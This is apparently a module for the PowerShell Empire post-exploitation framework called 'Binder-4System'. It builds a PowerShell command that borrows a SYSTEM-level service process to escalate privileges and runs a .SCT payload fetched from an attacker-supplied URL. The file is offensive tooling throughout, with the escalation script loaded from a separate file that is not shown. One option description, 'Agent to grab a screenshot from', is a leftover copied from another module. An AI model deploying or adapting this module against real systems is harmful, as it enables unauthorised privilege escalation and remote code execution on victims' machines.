text: from lib.common import helpers
  
  class Module:
  
      def __init__(self, mainMenu, params=[]):
  
          # metadata info about the module, not modified during runtime
          self.info = {
              'Name': 'Binder-4System',
              'Author': ['Luis Vacas @ CyberVaca'],
              'Description': ("This payload tries to get the system user. "
                              "For this we must pass the process of a service started by system."),
              'Background' : True,
              'OutputExtension' : None,
              'NeedsAdmin' : False,
              'OpsecSafe' : False,
              'Language' : 'powershell',
              'MinLanguageVersion' : '2',
              'Comments': [
                  'This payload uses files in the disk drive.',
              ]
          }
  
          # any options needed by the module, settable during runtime
          self.options = {
              # format:
              #   value_name : {description, required, default_value}
              'Agent' : {
                  # The 'Agent' option is the only one that MUST be in a module
                  'Description'   :   'Agent to grab a screenshot from.',
                  'Required'      :   True,
                  'Value'         :   ''
  	    },
          	'ProcID' : {
                  'Description'   :   'Process Id of a service started by system.',
                  'Required'      :   True,
                  'Value'         :   ''
              }, 
              	'Url' : {
                  'Description'   :   'Execute .SCT command from URL ',
                  'Required'      :   True,
                  'Value'         :   ''
  	    } 
          }
  
          # save off a copy of the mainMenu object to access external functionality
          #   like listeners/agent handlers/etc.
          self.mainMenu = mainMenu
  
          # During instantiation, any settable option parameters
          #   are passed as an object set to the module and the
          #   options dictionary is automatically set. This is mostly
          #   in case options are passed on the command line
          if params:
              for param in params:
                  # parameter format is [Name, Value]
                  option, value = param
                  if option in self.options:
                      self.options[option]['Value'] = value
  
  
      def generate(self):
          
          # the PowerShell script itself, with the command to invoke
          #   for execution appended to the end. Scripts should output
          #   everything to the pipeline for proper parsing.
          #
          # the script should be stripped of comments, with a link to any
          #   original reference script included in the comments.
  
  	script = ""
  
          # if you're reading in a large, external script that might be updates,
          #   use the pattern below
          # read in the common module source code
          moduleSource = self.mainMenu.installPath + "data/module_source/privesc/Binder-4System.ps1"
          try:
              f = open(moduleSource, 'r')
          except:
              print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
              return ""
  
          moduleCode = f.read()
          f.close()
  
          script = moduleCode
  	script += "binder-4system "
  
          # add any arguments to the end execution of the script
          for option,values in self.options.iteritems():
              if option.lower() != "agent":
                  if values['Value'] and values['Value'] != '':
                      if values['Value'].lower() == "true":
                          # if we're just adding a switch
                          script += " -" + str(option)
                      else:
                          script += " -" + str(option) + " " + '"' + str(values['Value']) + '"'
  
          return script
  